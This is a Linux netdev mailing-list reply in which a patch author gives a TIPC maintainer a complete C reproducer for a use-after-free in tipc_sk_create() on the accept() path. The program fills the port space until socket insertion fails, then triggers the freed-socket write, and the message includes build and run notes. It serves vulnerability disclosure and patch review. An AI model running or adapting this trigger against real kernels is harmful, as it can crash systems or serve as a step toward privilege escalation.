Netdev List
 help / color / mirror / Atom feed
From: Daehyeon Ko <4ncienth@gmail.com>
To: Tung Quang Nguyen <tung.quang.nguyen@est.tech>
Cc: netdev@vger.kernel.org, Jon Maloy <jmaloy@redhat.com>,
	"David S . Miller" <davem@davemloft.net>,
	Eric Dumazet <edumazet@google.com>,
	Jakub Kicinski <kuba@kernel.org>, Paolo Abeni <pabeni@redhat.com>,
	Simon Horman <horms@kernel.org>,
	tipc-discussion@lists.sourceforge.net,
	linux-kernel@vger.kernel.org, Daehyeon Ko <4ncienth@gmail.com>
Subject: Re: [PATCH net] tipc: clear sock->sk on the failed-insert path in tipc_sk_create()
Date: Fri, 10 Jul 2026 14:48:15 +0900	[thread overview]
Message-ID: <20260710054815.3995322-1-4ncienth@gmail.com> (raw)
In-Reply-To: <GV1P189MB19888A8F810E5DB896F9BAD5C6FD2@GV1P189MB1988.EURP189.PROD.OUTLOOK.COM>

Hi Tung,

Here's the reproducer; build/run notes and the insert-failure precondition are
in the header comment. Built with a reduced TIPC_MAX_PORT it hits the KASAN
slab-use-after-free in tipc_release() within a few hundred sockets; on a stock
kernel the same path is reached at the rhashtable max (~2M sockets in the netns).

// PoC: tipc_sk_create() dangling-sk use-after-free write on the accept() path.
//
// Build:  gcc -O2 -o poc poc-tipc.c
// Run:    as root, inside a netns with TIPC available; kernel built CONFIG_TIPC=y
//         + CONFIG_KASAN=y to observe the UAF.
//
// The tipc_sk_insert() failure is reached when the per-netns socket rhashtable
// hits its max_size (~2M sockets). To make that precondition cheap to trigger,
// build the kernel with a reduced TIPC_MAX_PORT (e.g. 0xff): the UAF code path
// (tipc_sk_create error / tipc_accept / tipc_release) is UNMODIFIED, only the
// search space is bounded. On a stock kernel the bug is identical, only the
// precondition is more expensive (~2M sockets in the netns).
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/socket.h>

#define LOG(...) do{printf("[poc] " __VA_ARGS__);printf("\n");fflush(stdout);}while(0)
#ifndef AF_TIPC
#define AF_TIPC 30
#endif
#define TIPC_SERVICE_ADDR 2
#define TIPC_NODE_SCOPE   3
#define TIPC_CLUSTER_SCOPE 2

struct tipc_service_addr { uint32_t type; uint32_t instance; };
struct tipc_socket_addr  { uint32_t ref;  uint32_t node; };
struct tipc_service_range{ uint32_t type; uint32_t lower; uint32_t upper; };
struct sockaddr_tipc {
    unsigned short family;
    unsigned char  addrtype;
    signed   char  scope;
    union {
        struct tipc_socket_addr id;
        struct tipc_service_range nameseq;
        struct { struct tipc_service_addr name; uint32_t domain; } name;
    } addr;
};

#define SVC_TYPE 0x1000u
#define SVC_INST 1u

static void mk_svc(struct sockaddr_tipc *a, signed char scope){
    memset(a,0,sizeof(*a));
    a->family=AF_TIPC; a->addrtype=TIPC_SERVICE_ADDR; a->scope=scope;
    a->addr.name.name.type=SVC_TYPE; a->addr.name.name.instance=SVC_INST; a->addr.name.domain=0;
}

int main(void){
    LOG("BEGIN tipc_sk_create dangling-sk UAF (accept path; insert-failure precondition)");
    int lst=socket(AF_TIPC,SOCK_STREAM,0);
    if(lst<0){LOG("SETUP_FAIL socket(AF_TIPC) errno=%d (CONFIG_TIPC?)",errno);return 0;}
    struct sockaddr_tipc sa; mk_svc(&sa,TIPC_NODE_SCOPE);
    if(bind(lst,(struct sockaddr*)&sa,sizeof(sa))<0){LOG("SETUP_FAIL bind errno=%d",errno);return 0;}
    if(listen(lst,64)<0){LOG("SETUP_FAIL listen errno=%d",errno);return 0;}
    LOG("listener bound+listening");

    int cli=socket(AF_TIPC,SOCK_STREAM,0);
    if(cli<0){LOG("SETUP_FAIL client socket errno=%d",errno);return 0;}
    fcntl(cli,F_SETFL,fcntl(cli,F_GETFL,0)|O_NONBLOCK);
    struct sockaddr_tipc ca; mk_svc(&ca,TIPC_CLUSTER_SCOPE);
    int rc=connect(cli,(struct sockaddr*)&ca,sizeof(ca));
    LOG("client connect rc=%d errno=%d (EINPROGRESS ok)", rc, errno);
    usleep(200000); /* let the intra-node connect reach the accept queue */

    /* make tipc_sk_insert() fail: on a reduced-TIPC_MAX_PORT build this exhausts
       the port space in a few hundred sockets; on stock this is the ~2M path */
    static int fd[1<<21]; int nf=0, lasterr=0;
    for(int i=0;i<(1<<21);i++){
        int s=socket(AF_TIPC,SOCK_STREAM,0);
        if(s<0){ lasterr=errno; break; }
        fd[nf++]=s;
    }
    LOG("port-fill: created %d sockets, then socket() failed errno=%d", nf, lasterr);

    struct sockaddr_tipc na; socklen_t nl=sizeof(na);
    LOG("FIRE accept() (expect tipc_sk_create->tipc_sk_insert fail -> tipc_release UAF)");
    int ns=accept(lst,(struct sockaddr*)&na,&nl);
    LOG("accept rc=%d errno=%d (EINVAL = tipc_sk_create failed; UAF in __sock_release path)", ns, errno);
    if(ns>=0) close(ns);
    for(int k=0;k<8;k++){ int n2=accept(lst,(struct sockaddr*)&na,&nl); if(n2>=0)close(n2); }
    LOG("POC_DONE");
    return 0;
}

Thanks,
Daehyeon

      reply	other threads:[~2026-07-10  5:48 UTC|newest]

Thread overview: 3+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-07-10  1:44 [PATCH net] tipc: clear sock->sk on the failed-insert path in tipc_sk_create() Daehyeon Ko
2026-07-10  3:30 ` Tung Quang Nguyen
2026-07-10  5:48   ` Daehyeon Ko [this message]

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=20260710054815.3995322-1-4ncienth@gmail.com \
    --to=4ncienth@gmail.com \
    --cc=davem@davemloft.net \
    --cc=edumazet@google.com \
    --cc=horms@kernel.org \
    --cc=jmaloy@redhat.com \
    --cc=kuba@kernel.org \
    --cc=linux-kernel@vger.kernel.org \
    --cc=netdev@vger.kernel.org \
    --cc=pabeni@redhat.com \
    --cc=tipc-discussion@lists.sourceforge.net \
    --cc=tung.quang.nguyen@est.tech \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox